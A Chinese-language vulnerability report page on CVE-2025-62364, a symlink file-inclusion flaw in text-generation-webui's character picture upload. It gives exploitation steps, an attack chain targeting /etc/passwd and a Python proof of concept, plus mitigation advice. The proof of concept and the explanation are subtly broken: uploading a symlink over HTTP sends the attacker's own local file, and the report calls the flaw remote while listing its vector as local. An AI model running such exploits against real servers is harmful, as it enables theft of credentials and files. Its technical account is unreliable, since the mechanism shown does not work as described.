IPBUF安全漏洞报告
English
CVE-2025-62364 CVSS 6.2 中危

CVE-2025-62364:text-generation-webui 字符图片上传本地文件包含漏洞

披露日期: 2025-10-13

漏洞信息

漏洞编号
CVE-2025-62364
漏洞类型
本地文件包含(LFI)/ 符号链接遍历
CVSS评分
6.2 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
oobabooga/text-generation-webui

相关标签

本地文件包含LFI符号链接遍历Symlink文件上传未认证访问信息泄露text-generation-webuioobabooga大语言模型

漏洞概述

CVE-2025-62364 是 oobabooga text-generation-webui 项目中的一个本地文件包含(Local File Inclusion, LFI)漏洞,影响 3.13 及之前的所有版本。text-generation-webui 是一个开源的大语言模型(LLM)Web 界面,允许用户在本地或服务器上部署和运行各种语言模型。该漏洞存在于其角色图片上传(character picture upload)功能中,攻击者可以通过上传一个包含符号链接(symbolic link)的文本文件,诱使应用程序跟随该符号链接读取服务器上的任意文件。由于该功能无需认证即可访问,远程未认证攻击者可以利用此漏洞读取服务器上的敏感文件,包括系统配置文件、凭证信息以及其他机密数据。该漏洞的 CVSS 3.1 评分为 6.2,机密性影响为高,但完整性和可用性不受影响。该漏洞已在 3.14 版本中修复,修复方式是对上传文件进行更严格的验证,禁止符号链接等危险文件类型的上传。发现者通过 GitHub Security Advisories 报告了该漏洞,披露日期为 2025 年 10 月 13 日。由于该漏洞利用门槛低且无需认证,对于部署在公网或共享环境中的 text-generation-webui 实例构成较高的安全风险。

技术细节

该漏洞的根本原因在于 text-generation-webui 的角色图片上传功能未对上传的文件进行充分的验证和过滤。具体而言,应用程序允许用户上传文本文件作为角色图片,但没有检查文件是否为符号链接。攻击者可以创建一个指向服务器上敏感文件(如 /etc/passwd、/etc/shadow、配置文件等)的符号链接,并将其保存为文本文件上传。当应用程序处理该上传文件时,操作系统会跟随符号链接解析到目标文件,应用程序随后将该文件的内容通过 Web 界面返回给用户。

利用条件如下:
1. 目标服务器部署了 text-generation-webui 3.13 或更早版本;
2. 角色图片上传功能可被未认证用户访问;
3. 攻击者能够访问该 Web 界面的上传端点。

利用方式:
1. 攻击者在本地创建一个符号链接,指向目标文件(如 /etc/passwd),命令为:ln -s /etc/passwd exploit.txt;
2. 将该符号链接文件通过角色图片上传功能上传到服务器;
3. 应用程序读取上传文件时,会跟随符号链接读取 /etc/passwd 的内容;
4. 攻击者通过 Web 界面或直接请求获取到目标文件的内容。

修复方案是在 3.14 版本中对上传文件增加了 symlink 检测,拒绝包含符号链接的文件上传。

攻击链分析

STEP 1
步骤1:环境准备
攻击者确认目标服务器运行 text-generation-webui 3.13 或更早版本,且角色图片上传功能可访问。
STEP 2
步骤2:创建符号链接文件
攻击者在本地创建指向服务器敏感文件(如 /etc/passwd)的符号链接文本文件:ln -s /etc/passwd exploit.txt。
STEP 3
步骤3:上传恶意文件
通过角色图片上传功能(/upload_character_picture)将符号链接文件上传到服务器,应用程序未对符号链接进行检测。
STEP 4
步骤4:触发文件读取
当应用程序处理上传的文件时,操作系统跟随符号链接解析到目标文件(如 /etc/passwd),并将其内容通过 Web 界面返回。
STEP 5
步骤5:获取敏感信息
攻击者通过 Web 界面或直接 HTTP 请求获取目标文件的完整内容,可能包括系统配置、凭证、API 密钥等敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-62364 - text-generation-webui Local File Inclusion via Symlink PoC for demonstrating the character picture upload LFI vulnerability. """ import os import requests import tempfile TARGET_URL = "http://target-server:7860" # Default text-generation-webui port TARGET_FILE = "/etc/passwd" # File to read from the server def create_symlink_file(target_path, output_path): """Create a text file containing a symlink to the target file.""" # Remove existing file/symlink if os.path.exists(output_path) or os.path.islink(output_path): os.remove(output_path) # Create symbolic link os.symlink(target_path, output_path) print(f"[+] Created symlink: {output_path} -> {target_path}") def exploit(target_url, file_to_read): """Exploit the LFI vulnerability via character picture upload.""" # Step 1: Create a symlink file locally tmp_file = tempfile.mktemp(suffix=".txt") create_symlink_file(file_to_read, tmp_file) # Step 2: Upload the symlink file via the character picture upload endpoint upload_url = f"{target_url}/upload_character_picture" with open(tmp_file, "rb") as f: files = {"file": (os.path.basename(tmp_file), f, "text/plain")} response = requests.post(upload_url, files=files) print(f"[+] Upload response status: {response.status_code}") print(f"[+] Response body: {response.text[:500]}") # Step 3: Access the uploaded file to read its contents # The uploaded file path is typically returned or predictable # Access the file through the web interface file_url = f"{target_url}/characters/picture/{os.path.basename(tmp_file)}" content_response = requests.get(file_url) print(f"[+] File content ({file_to_read}):\n{content_response.text}") # Cleanup os.remove(tmp_file) return content_response.text if __name__ == "__main__": exploit(TARGET_URL, TARGET_FILE)

影响范围

oobabooga/text-generation-webui <= 3.13

防御指南

临时缓解措施
在无法立即升级到 3.14 版本的情况下,建议采取以下临时缓解措施:1)在 Web 服务器或反向代理层面添加认证机制,限制未认证用户访问上传端点;2)通过文件系统权限限制,阻止 Web 应用程序读取敏感文件;3)定期检查上传目录,删除可疑的符号链接文件;4)将 text-generation-webui 部署在容器或沙箱环境中,限制其文件系统访问范围;5)监控异常的文件访问行为,及时发现潜在的利用尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表